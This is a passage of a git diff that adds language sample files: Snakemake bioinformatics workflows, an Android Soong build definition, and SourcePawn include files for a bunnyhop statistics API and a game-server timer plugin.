+}
+
+// "pattern" is a trait.
+@pattern("^[A-Za-z0-9 ]+$")
+string CityId
diff --git a/samples/Snakemake/filenames/Snakefile b/samples/Snakemake/filenames/Snakefile
new file mode 100644
index 0000000000..3980fed870
--- /dev/null
+++ b/samples/Snakemake/filenames/Snakefile
@@ -0,0 +1,49 @@
+#example from https://github.com/snakemake/snakemake/edit/main/examples/hello-world/Snakefile
+configfile: "config.yaml"
+
+
+rule all:
+    input:
+        expand(
+            "plots/{country}.hist.pdf",
+            country=config["countries"]
+        )
+
+
+rule select_by_country:
+    input:
+        "data/worldcitiespop.csv"
+    output:
+        "by-country/{country}.csv"
+    conda:
+        "envs/xsv.yaml"
+    shell:
+        "xsv search -s Country '{wildcards.country}' "
+        "{input} > {output}"
+
+
+rule plot_histogram:
+    input:
+        "by-country/{country}.csv"
+    output:
+        "plots/{country}.hist.svg"
+    container:
+        "docker://faizanbashir/python-datascience:3.6"
+    script:
+        "scripts/plot-hist.py"
+
+
+rule convert_to_pdf:
+    input:
+        "{prefix}.svg"
+    output:
+        "{prefix}.pdf"
+    wrapper:
+        "0.47.0/utils/cairosvg"
+
+
+rule download_data:
+    output:
+        "data/worldcitiespop.csv"
+    shell:
+        "curl -L https://burntsushi.net/stuff/worldcitiespop.csv > {output}"
diff --git a/samples/Snakemake/snakemake-calling.smk b/samples/Snakemake/snakemake-calling.smk
new file mode 100644
index 0000000000..886d51a1b5
--- /dev/null
+++ b/samples/Snakemake/snakemake-calling.smk
@@ -0,0 +1,68 @@
+# Source: https://raw.githubusercontent.com/snakemake-workflows/dna-seq-gatk-variant-calling/master/rules/calling.smk
+# Accessed: Jan 10 2020 by Nils Homer
+# License: MIT (https://github.com/snakemake-workflows/dna-seq-gatk-variant-calling/blob/master/LICENSE)
+
+if "restrict-regions" in config["processing"]:
+    rule compose_regions:
+        input:
+            config["processing"]["restrict-regions"]
+        output:
+            "called/{contig}.regions.bed"
+        conda:
+            "../envs/bedops.yaml"
+        shell:
+            "bedextract {wildcards.contig} {input} > {output}"
+
+
+rule call_variants:
+    input:
+        bam=get_sample_bams,
+        ref=config["ref"]["genome"],
+        known=config["ref"]["known-variants"],
+        regions="called/{contig}.regions.bed" if config["processing"].get("restrict-regions") else []
+    output:
+        gvcf=protected("called/{sample}.{contig}.g.vcf.gz")
+    log:
+        "logs/gatk/haplotypecaller/{sample}.{contig}.log"
+    params:
+        extra=get_call_variants_params
+    wrapper:
+        "0.27.1/bio/gatk/haplotypecaller"
+
+
+rule combine_calls:
+    input:
+        ref=config["ref"]["genome"],
+        gvcfs=expand("called/{sample}.{{contig}}.g.vcf.gz", sample=samples.index)
+    output:
+        gvcf="called/all.{contig}.g.vcf.gz"
+    log:
+        "logs/gatk/combinegvcfs.{contig}.log"
+    wrapper:
+        "0.27.1/bio/gatk/combinegvcfs"
+
+
+rule genotype_variants:
+    input:
+        ref=config["ref"]["genome"],
+        gvcf="called/all.{contig}.g.vcf.gz"
+    output:
+        vcf=temp("genotyped/all.{contig}.vcf.gz")
+    params:
+        extra=config["params"]["gatk"]["GenotypeGVCFs"]
+    log:
+        "logs/gatk/genotypegvcfs.{contig}.log"
+    wrapper:
+        "0.27.1/bio/gatk/genotypegvcfs"
+
+
+rule merge_variants:
+    input:
+        ref=get_fai(), # fai is needed to calculate aggregation over contigs below
+        vcfs=lambda w: expand("genotyped/all.{contig}.vcf.gz", contig=get_contigs()),
+    output:
+        vcf="genotyped/all.vcf.gz"
+    log:
+        "logs/picard/merge-genotyped.log"
+    wrapper:
+        "0.40.2/bio/picard/mergevcfs"
diff --git a/samples/Snakemake/snakemake-mapping.smk b/samples/Snakemake/snakemake-mapping.smk
new file mode 100644
index 0000000000..e48bb27fb7
--- /dev/null
+++ b/samples/Snakemake/snakemake-mapping.smk
@@ -0,0 +1,90 @@
+# Source: https://raw.githubusercontent.com/snakemake-workflows/dna-seq-gatk-variant-calling/master/rules/mapping.smk
+# Accessed: Jan 10 2020 by Nils Homer
+# License: MIT (https://github.com/snakemake-workflows/dna-seq-gatk-variant-calling/blob/master/LICENSE)
+
+rule trim_reads_se:
+    input:
+        unpack(get_fastq)
+    output:
+        temp("trimmed/{sample}-{unit}.fastq.gz")
+    params:
+        extra="",
+        **config["params"]["trimmomatic"]["se"]
+    log:
+        "logs/trimmomatic/{sample}-{unit}.log"
+    wrapper:
+        "0.30.0/bio/trimmomatic/se"
+
+
+rule trim_reads_pe:
+    input:
+        unpack(get_fastq)
+    output:
+        r1=temp("trimmed/{sample}-{unit}.1.fastq.gz"),
+        r2=temp("trimmed/{sample}-{unit}.2.fastq.gz"),
+        r1_unpaired=temp("trimmed/{sample}-{unit}.1.unpaired.fastq.gz"),
+        r2_unpaired=temp("trimmed/{sample}-{unit}.2.unpaired.fastq.gz"),
+        trimlog="trimmed/{sample}-{unit}.trimlog.txt"
+    params:
+        extra=lambda w, output: "-trimlog {}".format(output.trimlog),
+        **config["params"]["trimmomatic"]["pe"]
+    log:
+        "logs/trimmomatic/{sample}-{unit}.log"
+    wrapper:
+        "0.30.0/bio/trimmomatic/pe"
+
+
+rule map_reads:
+    input:
+        reads=get_trimmed_reads
+    output:
+        temp("mapped/{sample}-{unit}.sorted.bam")
+    log:
+        "logs/bwa_mem/{sample}-{unit}.log"
+    params:
+        index=config["ref"]["genome"],
+        extra=get_read_group,
+        sort="samtools",
+        sort_order="coordinate"
+    threads: 8
+    wrapper:
+        "0.27.1/bio/bwa/mem"
+
+
+rule mark_duplicates:
+    input:
+        "mapped/{sample}-{unit}.sorted.bam"
+    output:
+        bam=temp("dedup/{sample}-{unit}.bam"),
+        metrics="qc/dedup/{sample}-{unit}.metrics.txt"
+    log:
+        "logs/picard/dedup/{sample}-{unit}.log"
+    params:
+        config["params"]["picard"]["MarkDuplicates"]
+    wrapper:
+        "0.26.1/bio/picard/markduplicates"
+
+
+rule recalibrate_base_qualities:
+    input:
+        bam=get_recal_input(),
+        bai=get_recal_input(bai=True),
+        ref=config["ref"]["genome"],
+        known=config["ref"]["known-variants"]
+    output:
+        bam=protected("recal/{sample}-{unit}.bam")
+    params:
+        extra=get_regions_param() + config["params"]["gatk"]["BaseRecalibrator"]
+    log:
+        "logs/gatk/bqsr/{sample}-{unit}.log"
+    wrapper:
+        "0.27.1/bio/gatk/baserecalibrator"
+
+
+rule samtools_index:
+    input:
+        "{prefix}.bam"
+    output:
+        "{prefix}.bam.bai"
+    wrapper:
+        "0.27.1/bio/samtools/index"
diff --git a/samples/Snakemake/template.snakefile b/samples/Snakemake/template.snakefile
new file mode 100644
index 0000000000..3fd26c8ee6
--- /dev/null
+++ b/samples/Snakemake/template.snakefile
@@ -0,0 +1,70 @@
+configfile: "config.yaml"
+
+
+rule all:
+    input:
+        "plots/quals.svg"
+
+
+def get_bwa_map_input_fastqs(wildcards):
+    return config["samples"][wildcards.sample]
+
+
+rule bwa_map:
+    input:
+        "data/genome.fa",
+        get_bwa_map_input_fastqs
+    output:
+        temp("mapped_reads/{sample}.bam")
+    params:
+        rg=r"@RG\tID:{sample}\tSM:{sample}"
+    log:
+        "logs/bwa_mem/{sample}.log"
+    threads: 8
+    shell:
+        "(bwa mem -R '{params.rg}' -t {threads} {input} | "
+        "samtools view -Sb - > {output}) 2> {log}"
+
+
+rule samtools_sort:
+    input:
+        "mapped_reads/{sample}.bam"
+    output:
+        protected("sorted_reads/{sample}.bam")
+    shell:
+        "samtools sort -T sorted_reads/{wildcards.sample} "
+        "-O bam {input} > {output}"
+
+
+rule samtools_index:
+    input:
+        "sorted_reads/{sample}.bam"
+    output:
+        "sorted_reads/{sample}.bam.bai"
+    shell:
+        "samtools index {input}"
+
+
+rule bcftools_call:
+    input:
+        fa="data/genome.fa",
+        bam=expand("sorted_reads/{sample}.bam", sample=config["samples"]),
+        bai=expand("sorted_reads/{sample}.bam.bai", sample=config["samples"])
+    output:
+        "calls/all.vcf"
+    params:
+        rate=config["prior_mutation_rate"]
+    log:
+        "logs/bcftools_call/all.log"
+    shell:
+        "(bcftools mpileup -f {input.fa} {input.bam} | "
+        "bcftools call -mv -P {params.rate} - > {output}) 2> {log}"
+
+
+rule plot_quals:
+    input:
+        "calls/all.vcf"
+    output:
+        "plots/quals.svg"
+    script:
+        "scripts/plot-quals.py"
diff --git a/samples/Soong/filenames/Android.bp b/samples/Soong/filenames/Android.bp
new file mode 100644
index 0000000000..44a530ebef
--- /dev/null
+++ b/samples/Soong/filenames/Android.bp
@@ -0,0 +1,70 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_plugin {
+    name: "java_api_finder",
+
+    static_libs: [
+        "java_api_used_by_mainline_module",
+    ],
+}
+
+java_library_host {
+    name: "java_api_used_by_mainline_module",
+
+    srcs: ["src/main/**/*.java"],
+
+    static_libs: [
+        "//external/error_prone:error_prone_core",
+    ],
+
+    libs: [
+        "//external/auto:auto_service_annotations",
+    ],
+
+    plugins: [
+        "//external/auto:auto_service_plugin",
+    ],
+
+    javacflags: ["-verbose"],
+}
+
+java_test_host {
+    name: "JavaApiUsedByMainlineModuleTest",
+    srcs: ["src/test/**/JavaApiUsedByMainlineModuleTest.java"],
+    java_resource_dirs: ["src/test/res"],
+    java_resources: [":java_api_used_by_mainline_module_testdata"],
+    static_libs: [
+        "java_api_used_by_mainline_module",
+        "error_prone_test_helpers",
+        "hamcrest-library",
+        "hamcrest",
+        "platform-test-annotations",
+        "junit",
+        "truth-prebuilt",
+    ],
+    test_options: {
+        unit_test: true,
+    },
+}
+
+filegroup {
+    name: "java_api_used_by_mainline_module_testdata",
+    path: "src/test/res",
+    srcs: ["src/test/res/**/*.java"],
+}
diff --git a/samples/SourcePawn/bhopstats.inc b/samples/SourcePawn/bhopstats.inc
new file mode 100644
index 0000000000..f086676100
--- /dev/null
+++ b/samples/SourcePawn/bhopstats.inc
@@ -0,0 +1,207 @@
+/*
+ * Bunnyhop Statistics API - Include file
+ * by: shavit
+ *
+ * This file is part of Bunnyhop Statistics API.
+ *
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License, version 3.0, as published by the
+ * Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+*/
+
+#if defined _bhopstats_included
+	#endinput
+#endif
+#define _bhopstats_included
+
+#define BHOPSTATS_VERSION "1.2.0"
+
+/**
+ * Called when the jump key is pressed.
+ *
+ * @param client					Client index.
+ * @param onground					True if the jump key will do anything for the player when tapped.
+ * @noreturn
+ */
+forward void Bunnyhop_OnJumpPressed(int client, bool onground);
+
+/**
+ * Called when the jump key is released.
+ *
+ * @param client					Client index.
+ * @param onground					True if the jump key will do anything for the player when tapped.
+ * @noreturn
+ */
+forward void Bunnyhop_OnJumpReleased(int client, bool onground);
+
+/**
+ * Called when the player touches the ground.
+ *
+ * @param client					Client index.
+ * @noreturn
+ */
+forward void Bunnyhop_OnTouchGround(int client);
+
+/**
+ * Called when the player leaves the ground, by either jumping or falling from somewhere.
+ * AKA the HookEventless better version of player_jump.
+ * The `jumped` variable is true if the ground was left by tapping the jump key, or false if the player fell from somewhere.
+ * `ladder` is true if the player left the 'ground' from a ladder.
+ *
+ * @param client					Client index.
+ * @param jumped					Did the client leave the ground by jumping?
+ * @param ladder					Did the client leave the ground by leaving a ladder, aka ladderstrafing?
+ * @noreturn
+ */
+forward void Bunnyhop_OnLeaveGround(int client, bool jumped, bool ladder);
+
+/**
+ * Retrieves the amount of separate +jump inputs since the player left the ground.
+ *
+ * @param client					Client index.
+ * @return							Amount of +jump inputs since the left the ground, or 0 if the player is on ground.
+ */
+native int Bunnyhop_GetScrollCount(int client);
+
+/**
+ * Checks if the player is on ground, or if the jump key will function as in actually triggering a jump or altering velocity.
+ * The result will be true if the player is on a ladder or in water, as jumping will be functional.
+ *
+ * @param client					Client index.
+ * @return							Boolean value of 'is the player on ground?'
+ */
+native bool Bunnyhop_IsOnGround(int client);
+
+/**
+ * Checks if the player is holding his jump key.
+ *
+ * @param client					Client index.
+ * @return							Boolean value of 'is the player holding the jump key?''
+ */
+native bool Bunnyhop_IsHoldingJump(int client);
+
+/**
+ * Gets a percentage of perfectly timed bunnyhops.
+ * Resets at player connection or the Bunnyhop_ResetPerfectJumps native for it is called.
+ *
+ * @param client					Client index.
+ * @return							Perfect jump percentage. Results are from 0.0 to 100.0.
+ */
+native float Bunnyhop_GetPerfectJumps(int client);
+
+/**
+ * Resets the perfect jumps percentage of a player back to 0.0.
+ *
+ * @param client					Client index.
+ * @noreturn
+ */
+native void Bunnyhop_ResetPerfectJumps(int client);
+
+methodmap BunnyhopStats __nullable__
+{
+	public BunnyhopStats(int client)
+	{
+		return view_as<BunnyhopStats>(client);
+	}
+
+	property int index
+	{
+		public get()
+		{
+			return view_as<int>(this);
+		}
+	}
+
+	property int ScrollCount
+	{
+		public get()
+		{
+			return Bunnyhop_GetScrollCount(this.index);
+		}
+	}
+
+	property bool OnGround
+    {
+		public get()
+		{
+			return Bunnyhop_IsOnGround(this.index);
+		}
+    }
+
+	property bool HoldingJump
+    {
+		public get()
+		{
+			return Bunnyhop_IsHoldingJump(this.index);
+		}
+    }
+
+	property float PerfectJumps
+    {
+		public get()
+		{
+			return Bunnyhop_GetPerfectJumps(this.index);
+		}
+    }
+
+	public void ResetPrefects()
+	{
+		Bunnyhop_ResetPerfectJumps(this.index);
+	}
+
+	public static int GetScrollCount(int client)
+    {
+		return Bunnyhop_GetScrollCount(client);
+    }
+
+	public static bool IsOnGround(int client)
+    {
+		return Bunnyhop_IsOnGround(client);
+    }
+
+	public static bool IsHoldingJump(int client)
+    {
+		return Bunnyhop_IsHoldingJump(client);
+    }
+
+	public static float GetPerfectJumps(int client)
+    {
+		return Bunnyhop_GetPerfectJumps(client);
+    }
+
+	public static float ResetPrefectJumps(int client)
+    {
+		return Bunnyhop_ResetPerfectJumps(client);
+    }
+}
+
+public SharedPlugin __pl_bhopstats =
+{
+	name = "bhopstats",
+	file = "bhopstats.smx",
+#if defined REQUIRE_PLUGIN
+	required = 1
+#else
+	required = 0
+#endif
+};
+
+#if !defined REQUIRE_PLUGIN
+public void __pl_bhopstats_SetNTVOptional()
+{
+	MarkNativeAsOptional("Bunnyhop_GetScrollCount");
+	MarkNativeAsOptional("Bunnyhop_IsOnGround");
+	MarkNativeAsOptional("Bunnyhop_IsHoldingJump");
+	MarkNativeAsOptional("Bunnyhop_GetPerfectJumps");
+	MarkNativeAsOptional("Bunnyhop_ResetPerfectJumps");
+}
+#endif
diff --git a/samples/SourcePawn/shavit.inc b/samples/SourcePawn/shavit.inc
new file mode 100755
index 0000000000..0568ee8d90
--- /dev/null
+++ b/samples/SourcePawn/shavit.inc
@@ -0,0 +1,1562 @@
+/*
+ * shavit's Timer - .inc file
+ * by: shavit
+ *
+ * This file is part of shavit's Timer.
+ *
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License, version 3.0, as published by the
+ * Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License along with
+ * this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+*/
+
+#if defined _shavit_included
+	#endinput
+#endif
+#define _shavit_included
+
+#define SHAVIT_VERSION "3.0.0"
+#define STYLE_LIMIT 256
+#define MAX_ZONES 64
+#define MAX_STAGES 51 // 😐 kind of arbitrary but also some space between this and MAX_ZONES
+
+// HUD
+#define HUD_NONE				0
+#define HUD_MASTER				(1 << 0) // master setting
+#define HUD_CENTER				(1 << 1) // show hud as hint text
+#define HUD_ZONEHUD				(1 << 2) // show start/end zone hud
+#define HUD_OBSERVE				(1 << 3) // show the HUD of the player you spectate
+#define HUD_SPECTATORS			(1 << 4) // show list of spectators
+#define HUD_KEYOVERLAY			(1 << 5) // show a key overlay
+#define HUD_HIDEWEAPON			(1 << 6) // hide the player's weapon
+#define HUD_TOPLEFT				(1 << 7) // show top left white HUD with WR/PB times
+#define HUD_SYNC				(1 << 8) // shows sync at right side of the screen (css only)
+#define HUD_TIMELEFT			(1 << 9) // shows time left at right tside of the screen (css only)
+#define HUD_2DVEL				(1 << 10) // shows 2d velocity
+#define HUD_NOSOUNDS			(1 << 11) // disables sounds on personal best, world record etc
+#define HUD_NOPRACALERT			(1 << 12) // hides practice mode chat alert
+
+// status
+enum TimerStatus
+{
+	Timer_Stopped,
+	Timer_Running,
+	Timer_Paused
+};
+
+enum //ReplayStatus
+{
+	Replay_Start,
+	Replay_Running,
+	Replay_End,
+	Replay_Idle
+};
+
+enum //ReplayBotType
+{
+	Replay_Central,
+	Replay_Looping, // these are the ones that loop styles, tracks, and (eventually) stages...
+	Replay_Dynamic, // these are bots that spawn on !replay when the central bot is taken
+	Replay_Prop,    // A prop entity that is being used as a replay...
+};
+
+enum
+{
+	CPR_ByConVar = (1 << 0),
+	CPR_NoTimer = (1 << 1),
+	CPR_InStartZone = (1 << 2),
+	CPR_NotOnGround = (1 << 3),
+	CPR_Moving = (1 << 4),
+	CPR_Duck = (1 << 5), // quack
+	CPR_InEndZone = (1 << 6),
+};
+
+enum
+{
+	Migration_RemoveWorkshopMaptiers,
+	Migration_RemoveWorkshopMapzones,
+	Migration_RemoveWorkshopPlayertimes,
+	Migration_LastLoginIndex,
+	Migration_RemoveCountry,
+	Migration_ConvertIPAddresses,
+	Migration_ConvertSteamIDsUsers,
+	Migration_ConvertSteamIDsPlayertimes,
+	Migration_ConvertSteamIDsChat,
+	Migration_PlayertimesDateToInt,
+	Migration_AddZonesFlagsAndData,
+	Migration_AddPlayertimesCompletions,
+	Migration_AddCustomChatAccess,
+	Migration_AddPlayertimesExactTimeInt,
+	Migration_FixOldCompletionCounts, // old completions accidentally started at 2
+	MIGRATIONS_END
+};
+
+enum
+{
+	Zone_Start,
+	Zone_End,
+	Zone_Respawn,
+	Zone_Stop,
+	Zone_Slay,
+	Zone_Freestyle,
+	Zone_CustomSpeedLimit,
+	Zone_Teleport,
+	Zone_CustomSpawn,
+	Zone_Easybhop,
+	Zone_Slide,
+	Zone_Airaccelerate,
+	Zone_Stage,
+	ZONETYPES_SIZE
+};
+
+enum
+{
+	Track_Main,
+	Track_Bonus,
+	Track_Bonus_Last = 8,
+	TRACKS_SIZE
+};
+
+// for Shavit_GetStyleStrings
+enum
+{
+	sStyleName,
+	sShortName,
+	sHTMLColor,
+	sChangeCommand,
+	sClanTag,
+	sSpecialString,
+	sStylePermission
+};
+
+// for Shavit_GetChatStrings
+enum
+{
+	sMessagePrefix,
+	sMessageText,
+	sMessageWarning,
+	sMessageVariable,
+	sMessageVariable2,
+	sMessageStyle
+};
+
+enum struct stylestrings_t
+{
+	char sStyleName[64];
+	char sShortName[32];
+	char sHTMLColor[32];
+	char sChangeCommand[128];
+	char sClanTag[32];
+	char sSpecialString[128];
+	char sStylePermission[64];
+}
+
+enum struct chatstrings_t
+{
+	char sPrefix[64];
+	char sText[16];
+	char sWarning[16];
+	char sVariable[16];
+	char sVariable2[16];
+	char sStyle[16];
+}
+
+enum struct timer_snapshot_t
+{
+	bool bTimerEnabled;
+	float fCurrentTime;
+	bool bClientPaused;
+	int iJumps;
+	int bsStyle;
+	int iStrafes;
+	int iTotalMeasures;
+	int iGoodGains;
+	float fServerTime;
+	int iSHSWCombination;
+	int iTimerTrack;
+	int iMeasuredJumps;
+	int iPerfectJumps;
+	float fTimeOffset[2];
+	float fDistanceOffset[2];
+	float fAvgVelocity;
+	float fMaxVelocity;
+	float fTimescale;
+}
+
+enum struct cp_cache_t
+{
+	float fPosition[3];
+	float fAngles[3];
+	float fVelocity[3];
+	MoveType iMoveType;
+	float fGravity;
+	float fSpeed;
+	float fStamina;
+	bool bDucked;
+	bool bDucking;
+	float fDucktime; // m_flDuckAmount in csgo
+	float fDuckSpeed; // m_flDuckSpeed in csgo; doesn't exist in css
+	int iFlags;
+	timer_snapshot_t aSnapshot;
+	char sTargetname[64];
+	char sClassname[64];
+	ArrayList aFrames;
+	int iPreFrames;
+	bool bSegmented;
+	bool bPractice;
+	int iGroundEntity;
+	int iSteamID;
+	ArrayList aEvents;
+	ArrayList aOutputWaits;
+	float vecLadderNormal[3];
+}
+
+enum struct frame_t
+{
+	float pos[3];
+	float ang[2];
+	int buttons;
+	// iReplayVersion >= 0x02
+	int flags;
+	MoveType mt;
+	// Everything below is generally NOT loaded into memory for playback
+	// iReplayVersion >= 0x06
+	int mousexy; // `mousex | (mousey << 16)` // unpack with UnpackSignedShorts
+	int vel; // basically `forwardmove | (sidemove << 16)` // unpack with UnpackSignedShorts
+}
+
+enum struct frame_cache_t
+{
+	int iFrameCount;
+	float fTime;
+	bool bNewFormat;
+	int iReplayVersion;
+	char sReplayName[MAX_NAME_LENGTH];
+	int iPreFrames;
+	ArrayList aFrames;
+	// iReplayVersion >= 0x05
+	int iPostFrames;
+	float fTickrate;
+}
+
+#if defined USES_CHAT_COLORS
+// hardcoded colors
+char gS_GlobalColorNames[][] =
+{
+	"{default}",
+	"{team}",
+	"{green}"
+};
+
+char gS_GlobalColors[][] =
+{
+	"\x01",
+	"\x03",
+	"\x04"
+};
+
+char gS_CSGOColorNames[][] =
+{
+	"{blue}",
+	"{bluegrey}",
+	"{darkblue}",
+	"{darkred}",
+	"{gold}",
+	"{grey}",
+	"{grey2}",
+	"{lightgreen}",
+	"{lightred}",
+	"{lime}",
+	"{orchid}",
+	"{yellow}",
+	"{palered}"
+};
+
+char gS_CSGOColors[][] =
+{
+	"\x0B",
+	"\x0A",
+	"\x0C",
+	"\x02",
+	"\x10",
+	"\x08",
+	"\x0D",
+	"\x05",
+	"\x0F",
+	"\x06",
+	"\x0E",
+	"\x09",
+	"\x07"
+};
+#endif
+
+// connects synchronously to the bhoptimer database
+// calls errors if needed
+stock Database GetTimerDatabaseHandle()
+{
+	Database db = null;
+	char sError[255];
+
+	if(SQL_CheckConfig("shavit"))
+	{
+		if((db = SQL_Connect("shavit", true, sError, 255)) == null)
+		{
+			SetFailState("Timer startup failed. Reason: %s", sError);
+		}
+	}
+	else
+	{
+		db = SQLite_UseDatabase("shavit", sError, 255);
+	}
+
+	return db;
+}
+
+// figures out if the database is a mysql database
+stock bool IsMySQLDatabase(Database db)
+{
+	char sDriver[8];
+	db.Driver.GetIdentifier(sDriver, 8);
+
+	return StrEqual(sDriver, "mysql", false);
+}
+
+// retrieves the table prefix defined in configs/shavit-prefix.txt
+stock void GetTimerSQLPrefix(char[] buffer, int maxlen)
+{
+	char sFile[PLATFORM_MAX_PATH];
+	BuildPath(Path_SM, sFile, PLATFORM_MAX_PATH, "configs/shavit-prefix.txt");
+
+	File fFile = OpenFile(sFile, "r");
+
+	if(fFile == null)
+	{
+		SetFailState("Cannot open \"configs/shavit-prefix.txt\". Make sure this file exists and that the server has read permissions to it.");
+	}
+
+	char sLine[PLATFORM_MAX_PATH * 2];
+
+	if(fFile.ReadLine(sLine, PLATFORM_MAX_PATH * 2))
+	{
+		TrimString(sLine);
+		strcopy(buffer, maxlen, sLine);
+	}
+
+	delete fFile;
+}
+
+stock bool IsValidClient(int client, bool bAlive = false)
+{
+	return (client >= 1 && client <= MaxClients && IsClientConnected(client) && IsClientInGame(client) && !IsClientSourceTV(client) && (!bAlive || IsPlayerAlive(client)));
+}
+
+stock bool IsSource2013(EngineVersion ev)
+{
+	return (ev == Engine_CSS || ev == Engine_TF2);
+}
+
+stock void IPAddressToString(int ip, char[] buffer, int maxlen)
+{
+	FormatEx(buffer, maxlen, "%d.%d.%d.%d", ((ip >> 24) & 0xFF), ((ip >> 16) & 0xFF), ((ip >> 8) & 0xFF), (ip & 0xFF));
+}
+
+stock int IPStringToAddress(const char[] ip)
+{
+	char sExplodedAddress[4][4];
+	ExplodeString(ip, ".", sExplodedAddress, 4, 4, false);
+
+	int iIPAddress =
+			(StringToInt(sExplodedAddress[0]) << 24) |
+			(StringToInt(sExplodedAddress[1]) << 16) |
+			(StringToInt(sExplodedAddress[2]) << 8) |
+			StringToInt(sExplodedAddress[3]);
+
+	return iIPAddress;
+}
+
+// Retrieves authid from STEAM_X:Y:Z and [U:1:123]
+stock int SteamIDToAuth(const char[] sInput)
+{
+	char sSteamID[32];
+	strcopy(sSteamID, sizeof(sSteamID), sInput);
+	ReplaceString(sSteamID, 32, "\"", "");
+
+	if (StrContains(sSteamID, "STEAM_") != -1)
+	{
+		ReplaceString(sSteamID, 32, "STEAM_", "");
+
+		char parts[3][11];
+		ExplodeString(sSteamID, ":", parts, 3, 11);
+
+		// Let X, Y and Z constants be defined by the SteamID: STEAM_X:Y:Z.
+		// Using the formula W=Z*2+Y, a SteamID can be converted:
+		return StringToInt(parts[2]) * 2 + StringToInt(parts[1]);
+	}
+	else if (StrContains(sSteamID, "U:1:") != -1)
+	{
+		ReplaceString(sSteamID, 32, "[", "");
+		ReplaceString(sSteamID, 32, "U:1:", "");
+		ReplaceString(sSteamID, 32, "]", "");
+
+		return StringToInt(sSteamID);
+	}
+
+	return StringToInt(sSteamID);
+}
+
+// Can be used to unpack frame_t.mousexy and frame_t.vel
+stock void UnpackSignedShorts(int x, int out[2])
+{
+	out[0] =  ((x        & 0xFFFF) ^ 0x8000) - 0x8000;
+	out[1] = (((x >> 16) & 0xFFFF) ^ 0x8000) - 0x8000;
+}
+
+// time formatting!
+stock void FormatSeconds(float time, char[] newtime, int newtimesize, bool precise = true, bool nodecimal = false)
+{
+	float fTempTime = time;
+
+	if(fTempTime < 0.0)
+	{
+		fTempTime = -fTempTime;
+	}
+
+	int iRounded = RoundToFloor(fTempTime);
+	int iSeconds = (iRounded % 60);
+	float fSeconds = iSeconds + fTempTime - iRounded;
+
+	char sSeconds[8];
+
+	if (nodecimal)
+	{
+		FormatEx(sSeconds, 8, "%d", iSeconds);
+	}
+	else
+	{
+		FormatEx(sSeconds, 8, precise? "%.3f":"%.1f", fSeconds);
+	}
+
+	if(fTempTime < 60.0)
+	{
+		strcopy(newtime, newtimesize, sSeconds);
+		FormatEx(newtime, newtimesize, "%s%s", (time < 0.0) ? "-":"", sSeconds);
+	}
+	else
+	{
+		int iMinutes = (iRounded / 60);
+
+		if(fTempTime < 3600.0)
+		{
+			FormatEx(newtime, newtimesize, "%s%d:%s%s", (time < 0.0)? "-":"", iMinutes, (fSeconds < 10)? "0":"", sSeconds);
+		}
+		else
+		{
+			int iHours = (iMinutes / 60);
+			iMinutes %= 60;
+
+			FormatEx(newtime, newtimesize, "%s%d:%s%d:%s%s", (time < 0.0)? "-":"", iHours, (iMinutes < 10)? "0":"", iMinutes, (fSeconds < 10)? "0":"", sSeconds);
+		}
+	}
+}
+
+stock bool GuessBestMapName(ArrayList maps, const char[] input, char[] output, int size)
+{
+	if(maps.FindString(input) != -1)
+	{
+		strcopy(output, size, input);
+
+		return true;
+	}
+
+	char sCache[128];
+
+	for(int i = 0; i < maps.Length; i++)
+	{
+		maps.GetString(i, sCache, 128);
+
+		if(StrContains(sCache, input) != -1)
+		{
+			strcopy(output, size, sCache);
+
+			return true;
+		}
+	}
+
+	return false;
+}
+
+stock void GetTrackName(int client, int track, char[] output, int size)
+{
+	if (track == Track_Main)
+	{
+		FormatEx(output, size, "%T", "Track_Main", client);
+	}
+	else if (track >= Track_Bonus)
+	{
+		FormatEx(output, size, "%T", "Track_Bonus", client, track);
+	}
+	else //if (track < Track_Main)
+	{
+		FormatEx(output, size, "%T", "Track_Unknown", client);
+	}
+}
+
+stock int GetSpectatorTarget(int client, int fallback = -1)
+{
+	int target = fallback;
+
+	if(IsClientObserver(client))
+	{
+		int iObserverMode = GetEntProp(client, Prop_Send, "m_iObserverMode");
+
+		if(iObserverMode >= 3 && iObserverMode <= 5)
+		{
+			int iTarget = GetEntPropEnt(client, Prop_Send, "m_hObserverTarget");
+
+			if (IsValidEntity(iTarget))
+			{
+				target = iTarget;
+			}
+		}
+	}
+
+	return target;
+}
+
+stock float GetAngleDiff(float current, float previous)
+{
+	float diff = current - previous;
+	return diff - 360.0 * RoundToFloor((diff + 180.0) / 360.0);
+}
+
+forward Action Shavit_OnUserCmdPre(int client, int &buttons, int &impulse, float vel[3], float angles[3], TimerStatus status, int track, int style, int mouse[2]);
+
+forward void Shavit_OnTimeIncrement(int client, timer_snapshot_t snapshot, float &time);
+
+forward void Shavit_OnTimeIncrementPost(int client, float time);
+
+forward Action Shavit_OnStartPre(int client, int track);
+
+/**
+ * Called when a player's timer starts.
+ * (WARNING: Will be called every tick when the player stands at the start zone!)
+ *
+ * @param client                    Client index.
+ * @param track                     Timer track.
+ * @return                          Unused.
+ */
+forward Action Shavit_OnStart(int client, int track);
+
+/**
+ * Called when a player uses the restart command.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
+ * @noreturn
+ */
+forward void Shavit_OnRestart(int client, int track);
+
+/**
+ * Called when a player uses the !end command.
+ *
+ * @param client					Client index.
+ * @param track						Timer track.
